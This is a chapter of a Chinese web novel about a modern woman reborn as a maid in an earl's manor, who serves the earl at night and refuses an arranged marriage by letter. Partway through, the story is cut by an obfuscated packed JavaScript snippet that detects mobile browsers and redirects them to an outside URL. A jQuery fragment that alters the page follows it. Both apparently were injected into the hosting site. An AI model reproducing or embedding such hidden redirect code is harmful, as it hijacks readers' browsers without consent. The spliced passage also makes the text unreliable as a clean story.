安禾看着手里的信,然后苦恼地叹了口气。
她恶狠狠地揪着自己的头发哀嚎道:“救命!干脆杀了我吧!”随后重重倒在了床上。
“砰——”
紧闭的门被猝不及防推开,一个金发碧眼的女仆气喘吁吁地闯了进来:“上帝!我终于找到你了!”
“卡琳娜!你怎么还躲在这里偷懒?塔尔顿大人明天要穿的衣服都熨好了吗?!”
床上的人动了动,气息微弱:“我一会儿就去。”
“快点起来吧!要是被维米尔发现她又要骂你了。”
安禾仰躺在床上,看着天花板沉沉地叹了口气,终于垂头丧气地坐了起来。
将信塞进口袋后,安禾看了一眼站在她面前的人,又重重叹了口气:“遵命,我亲爱的,我现在就去。”
苏珊一脸牙疼地看着她,又替安禾整理了下有些凌乱的衣领:“快去吧!”女孩催促道。
安禾抱着被洗得有些发白的裙角飞奔下了楼,在楼梯拐角的瞬间迎面碰上了一个面容严肃的中年女人。
在看到她的一瞬间,安禾倒吸了一口凉气,她快速放下裙子对面前的人低头行礼:“维米尔。”
在看见安禾时,维米尔的眉毛就紧皱了起来,凌厉的目光在安禾身上上下扫视着,过了一会儿,见挑不太出她穿着上的错误,才冷冷地问道:“你刚刚去哪了?”
“我有些头疼,回房间擦了点薄荷油。”安禾面不改色地撒谎。
“去把大人的衣服整理好,全部都熨平后再去吃饭。”维米尔吩咐道。
安禾:“是。”
一直到人走远,安禾才抬起头,看着走廊上的背影她还是忍不住翻了个白眼,“有什么了不起的嘛,工贼!”
等她来到洗衣房,看着面前被堆成小山的衣服时,眼前还是忍不住一黑:“救命!这得干到什么时候啊!?”
安禾叹了口气,她一边小声吐槽着,一边卷起袖子,将未燃尽的煤炭丢进熨斗上面的盒盖里,抱怨归抱怨,完不成维米尔交代的活她是真的会没饭吃。
在这个没有蒸汽熨斗的时代,衣服的熨烫完全靠人力完成,安禾手里握着的金属熨斗,内身被塞满煤炭后整个熨斗就变得更加重了,她拎着熨斗,有些笨手笨脚地开始熨起一件男士丝绸衬衣,在熨完了几件衣服后,胳膊就不受控制地变得有些酸痛。
一直到太阳落山,所有的衣服才被她熨完一半,安禾甩了甩酸痛的手腕,干脆卷起长到脚踝的长裙,直接毫无形象地盘腿坐在了地板上。
她抬头望着那些没完成的山堆,支着下巴托腮叹了口气。
这叫什么事呀?
起初安禾一睁眼,看见一个金发碧眼的姑娘在看着自己时,她懵逼了两秒,然后脸上露出了疑惑的表情,美女你谁?
话到嘴边,美女却先松了口气:“感谢上帝!你可终于醒了!”
苏珊板着脸,一脸严肃地教训她:“卡琳娜,以后别再半夜偷偷摸摸溜出去了!你知道你这次头上的伤摔得多么严重吗?!连医生都说你很有可能就这么醒不过来了!”
安禾的头上缓缓冒出一个问号,不是,你说什么啊?卡什么琳娜?什么卡琳娜?什么伤?
安禾看着女孩穿的奇怪衣服,又缓缓转头,看着房间里陌生的摆件,脑海里突然闪过一个惊恐的念头,表情瞬间就绷不住了,救命!不会是我想的那样吧?!!
一直过了两天,安禾才接受了现实,她好像,可能,确实穿越了,谁来救救她......
安禾生无可恋地看着镜子里的人,女孩穿着一身朴素的蓝白配色制服,有着这个时代少见的黑发黑眸,长到腰间的头发被高高挽起,露出白皙光滑的额头,除了后背上多了很多不知道从何而来的陈年伤疤,原主卡琳娜居然和安禾长得一模一样。
后来在跟苏珊聊天的细枝末节里,安禾才勉强拼凑出原主零碎的消息,被她突然占据身体的卡琳娜之前是在孤儿院长大的,一个月前经孤儿院格雷索恩院长的介绍来到阿利斯泰尔伯爵府上做下等女仆的工作。
至于原主为何前天半夜偷偷溜出庄园,又倒霉到一脚踩空楼梯摔死,结果让21世纪的安禾突然穿越过来占据了身体,安禾后来问遍了周围所有人,居然没有一个人知道原因的。
总之,安禾摇身一变成为了罗泽·卡琳娜,开始了她在桑菲尔德庄园做下等女仆的生活。
安禾起初无比绝望,作为21世纪受过高等教育的女性,她此生唯一的目标就是在三十岁之前攒够一大笔钱,用来保证她下半生吃吃喝喝开启躺平人生。为了实现这个人生目标,安禾毕业后就努力工作,投资基金股票,休息天都要去刷点兼职,终于在她25岁生日当天提前完成了这个目标。
安禾扬眉吐气地将辞职信拍在了老板桌上,春风得意地出了公司大门,辞职当天就连路上遇见的狗都要停下来冲狗笑一笑。
在她翘着嘴角舒舒服服躺在定制的大床上,准备开启美好的闲鱼人生时,再一睁眼居然穿越了,安禾绝望得甚至想重开。
开玩笑的,她还年轻,一切都能重新来过,安禾鼓励自己。
穿越的第二天,安禾就决定辞掉她现在的这份工作,在这里当女仆需要每天五点起床,但一直到深夜十点才能回房休息,另外还需要24小时全天待命听候主人随时安排的命令,在得知她的月薪只有一银币时,辞职的渴望达到了顶峰。
打工是不可能打工的,这辈子只有吃吃喝喝每天像闲鱼一样摊在床上才是她的理想人生。
但是安禾后来打听到她不能一纸辞职信甩到黑心老板脸上,没有上一家的推荐信,想再找到一份像样的工作难如登天。
安禾:“......”
如果凭借她知道的一些历史信息,去做投资商人呢?安禾一边擦着地板一边想。
然后她打听到她穿越到了一个在历史书上从来没听过的国家和时期。
安禾:“......”
算了,她今晚出门的时候还是直接走窗户好了。
安禾叹了口气,又重新拿起了抹布,辞职的事她再想想吧。
就这样,安禾开始了她在桑菲尔德庄园做下等女仆的辛酸日常。
安禾看了眼外的夜色,放下熨斗揉了揉自己僵硬的肩膀,然后长舒了口气,她终于在睡觉前将所有的衣服都熨完了。
等她来到厨房时,篮子里只剩下了两片干冷的面包,安禾将一小块黄油抹在面包上,用力咬了下去,嚼了很久才勉强吞下。
一杯水突然放到了她面前。
安禾抬起头,对站在她面前的苏珊笑了下:“谢谢。”
她拿起杯子灌了一口水,感觉好多了。
苏珊顺势坐到安禾旁边,看着女孩咀嚼食物的侧脸,过了一会,叹了口气道:“维米尔让我来告诉你,等你吃完饭后去把花厅的茶几打扫干净。”
安禾又咬了一口面包,平静地点了点头:“知道了,我一会去。”
注意到苏珊脸上欲言又止的表情,安禾奇怪地问道:“怎么了?还有别的事吗?”
“维米尔为什么老是为难你啊?”苏珊想了想,还是小声问道。
“这个啊,”安禾耸了耸肩:“大概是因为她原本想介绍她的侄女来府上做女仆,结果被我抢先了吧。”
安禾一边说着,一边将面包撕成小片放在水里泡了泡,太硬了,汉斯大叔为什么选择来当一名厨师,去做精铁锻造一定是一把好手。
安禾起初察觉到管着她们几个女孩的高级女仆维米尔单单只针对她时也感到莫名其妙,后来安禾打听到原来原主和维米尔两人之前有这么一件过节后才明白过来,怪不得维米尔处处找她麻烦。
“可怜的卡琳娜,”苏珊恍然大物,她同情地拍了拍安禾的肩膀:“快去快回,我会给你留门的。”
等安禾提着水桶来到花厅时,钟表上的时针已经指到了十一,整个庄园都安静了下来,只有大厅角落壁炉里还在燃烧的木炭偶尔发出几声轻微的爆裂声。
安禾没有点起蜡烛,借着壁炉昏暗火光,安禾擦拭着放在花厅中间的一张巨大的茶几和两排客椅,整个客厅被白天打扫的仆人擦拭得干干净净了,但安禾还是用抹布仔细擦拭了一遍,以防维米尔借机找她麻烦。
“替我拿一下书架上的《理想国》。”
大厅的寂静突然被一道低沉悦耳的声音打破,安禾被吓得一个激灵,手一抖,抹布直接掉在了地板上。她猛地转头,看向刚刚被她忽视的角落。
壁炉前,一个皮肤有些苍白的男人倚坐在一张单人沙发上,男人低垂着眼睫,修长的手指正漫不经心地翻着手里的书页,正是这个庄园的主人,阿利斯泰尔·塔尔顿伯爵。
安禾看着塔尔顿的脸庞,呆愣了一会后才反应过来他是谁。
这其实是安禾第一次真正和这位伯爵本人见面,根据安禾穿过来的这几天观察,他们服侍的这位伯爵性格很是古怪。
和其他贵族男子不同,塔尔顿不喜欢舞会,不喜欢骑马,甚至连女人都不感兴趣,他经常把自己关在书房或是藏书室,一呆就是一整天,翻看他收集回来的那些书籍,塔尔顿对所有的事都是一种淡淡的态度,唯一勉强算得上的爱好就是每天清晨会沿着小路在庄园周围散步。
苏珊曾和安禾悄悄八卦,很多人甚至怀疑过这位大人喜欢男性,毕竟日常和塔尔顿唯一有往来的,便只有一位叫西尔维斯的子爵。
“可是他们两个不是表兄弟吗?!”安禾疑惑地问道。
苏珊冲安禾暧昧地挤了挤眼,“你真是太单纯了卡琳娜。”
安禾不解,安禾震惊,到底是谁说现代人开放的?!
安禾环顾四周,却没有看到平日里在塔尔顿身边一直服侍的那个男仆,她迟疑了几秒,最终还是走到窗帘前的书架旁,将塔尔顿说的那本书抽了出来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371342|199921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>安禾走到男人身边,恭敬地将书递了过去:“大人,您要的书。”
在听到安禾的声音时,塔尔顿有些诧异地抬起了头。火光映照下,男人的五官深邃立体,一双碧绿色的眼眸有些惊讶地看着安禾,似乎是在奇怪安禾为什么会出现在他面前。
几秒后塔尔顿才反应过来,他是因为失眠才下来消遣时间的,没想到这个时候还有下人在。
“放在这里吧。”
他示意安禾把书放在旁边的小圆桌上:“你可以下去了。”
安禾对人弯腰行礼,准备退下。
“你识字?”
安禾转身时,听见塔尔顿突然问道。
“只认识几个简单的字,大人。”安禾脚步停顿了一下,她思考了两秒,斟酌着答道。
穿过来后,安禾唯一感到庆幸的是这里的日常用语和英语区别不大,否则她连这里的人说的话都听不懂。
塔尔顿微微颌首,没有再说什么。
安禾站在原地等了两秒,见塔尔顿没有别的吩咐,便退了下去。
听着壁炉里木炭的燃烧声,塔尔顿安静地翻了一页手上的书。
一杯冒着热气的茶突然被轻轻放在了他的手边,塔尔顿抬眸,刚刚离开的黑发女仆又回到了大厅,女孩的手里正端着一个托盘:“大人,我听您的声音似乎有些沙哑,这是加了鼠尾草和薄荷叶的红茶,能够缓解喉咙肿痛。”
男人翻书的动作顿了顿,塔尔顿第一次,目光真正落在站在他面前的人身上。安禾穿着一身简单的亚麻粗布女仆装,一双像猫般的琥珀色眼睛正专注地看着他,眼尾微微翘起。
他的目光在女孩玫瑰花般红润的嘴唇上停顿了一下,塔尔顿沉默了一会后,端起红茶微微抿了一口。
温热的液体顺着喉咙划过,今晚一直感觉有些干痛的喉咙舒缓了不少。
“多谢。”
塔尔顿放下茶杯,他动作停顿了一下,随后问道:“你叫什么名字?”
......
安禾轻轻敲了敲门,压低嗓音喊道:“苏珊,是我,快开门。”
她站在门外等了一会,才听到门锁被拧开的动静。
苏珊穿着睡衣,扎起的金发已经披散了下来,她手里举着一节蜡烛,看到安禾时还忍不住打了个哈欠:“你怎么这么晚才回来?”还没等安禾的回答便睡眼惺忪地转身朝床上走去。
安禾小心翼翼地关上门,伸手解着背后束腰的裙带,吐槽道:“别提了,我提着水桶回来时没看清,被门口的台阶绊了一跤,好不容易才把走廊上的污水擦干净。”
安禾将身上的女仆裙挂在她床边的衣架上,又利落地换上睡裙。
看到安禾又坐在桌前,苏珊有些诧异地问道:“这么晚了,你还不睡吗?”
“你先睡吧,我一会就睡。”
苏珊:“好吧,那你这次一定记得上床前把蜡烛吹灭。”
她一边打着哈欠,一边将毯子蒙在头上,很快床上就传来了均匀的呼吸声。
安禾坐在椅子上,她摊开信纸,思索片刻后借着微弱的烛光给她今天收到的那份信的写信人
回道:
尊敬的查尔德先生,您好。
我是罗泽·卡琳娜,收到你的来信我感到非常震惊。首先我要向您道歉,对于您在信里描述的我们两个童年相处时的记忆,很遗憾尽管我努力回想,但已经完全没有了印象。
我的父母已经去世多年,至于他们之前曾经和您的父母说的什么我们两个所谓的婚约,也请忽略吧。请原谅我的直白,我不会和您履行我们父母给我们两人定下的这桩莫名其妙的婚事,请您不要再给我写信,也不要来找我,您送过来的那枚红宝石项链我会一并和信送还给您。
最后,衷心祝愿您能早日找到一位您真心爱护的姑娘。
罗泽·卡琳娜
安禾写完最后一个字,看了一遍信的内容然后满意地点了点头。
今天上午她突然收到了一封信件,一个叫查尔德·琼的男人告知原主和他的父母在两人小时候就已经为他们定下婚约,他是卡琳娜的未婚夫,而男人近期会来找她见面,谈论两人结婚的事情。
安禾在收到这份信时,整个人是大写的懵逼。
根据她查到的消息,卡琳娜应该在很小的时候父母就双双过世了,怎么会有一个不知从哪来的未婚夫突然莫名其妙跳出来要跟她结婚???
结婚时不可能结婚的,即便男人在信里讲述的内容都是真的,安禾也绝不可能替原主履行什么婚约,看着和信一起送过来的红宝石项链,安禾思考了半天,最终决定直接快刀斩乱麻,拒绝掉这门婚事。
她拎起信纸一角,吹了吹上面未干的墨水,随后靠在椅子上重重地伸了个懒腰。
难熬的一天终于过去了。
安禾直起身,吹灭了桌上的蜡烛便轻手轻脚地上了床,卷着毯子很快陷入了梦乡。